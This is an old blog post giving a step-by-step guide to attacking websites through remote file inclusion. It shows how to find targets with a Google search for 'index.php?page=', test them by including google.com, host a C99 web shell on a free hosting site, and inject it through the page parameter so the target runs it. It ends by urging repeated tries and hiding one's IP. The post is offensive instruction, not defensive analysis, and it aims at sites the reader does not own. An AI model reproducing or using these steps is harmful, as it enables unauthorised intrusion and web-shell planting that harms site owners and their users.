Monday, May 30, 2011

How to Attack websites using Remote file inlcusion




Requirements

C99 shell





First of all visit google and type
 

"index.php?page="



This will show all the pages which have index.php?page=" in their url, RFI vulnerabilities only work on those sites which have index.php?page= in their url.
 



Now lets say that the website is as follows:
 






www.targetsite.com/index.php?page=something
 



so to check the vulnerability we will replace the something to 
Google or any other site now if Google homepage shows up in between the website this means that the website is vulnerable to the attack.The url will look like









                                                      

www.targetsite.com/index.php?page=www.google.com








Once we know that the website is vulnerable to the attack we will now include the c99 shell.To do it download the c99 shell and then upload it to a webhosting site such as ripway,t35&many morer php webhostings .



Once the shell is uploaded you will have a unique url for your shell lets say it is 

www.webhostingsite.com/c99.txt
 



Now to execute the shell in order to gain access to the website we will do as follows
 



http://www.targetsite.com/index.php?...e.com/c99.txt?
 



Dont forgett the "?" or else it wont be executed.
 



Remeber this does not work on all websites so the key is to try and try and try and try! 


the most important thing required is skills nd a vulnerability without vulnerability u  could do nothing. Also hide ur ip .

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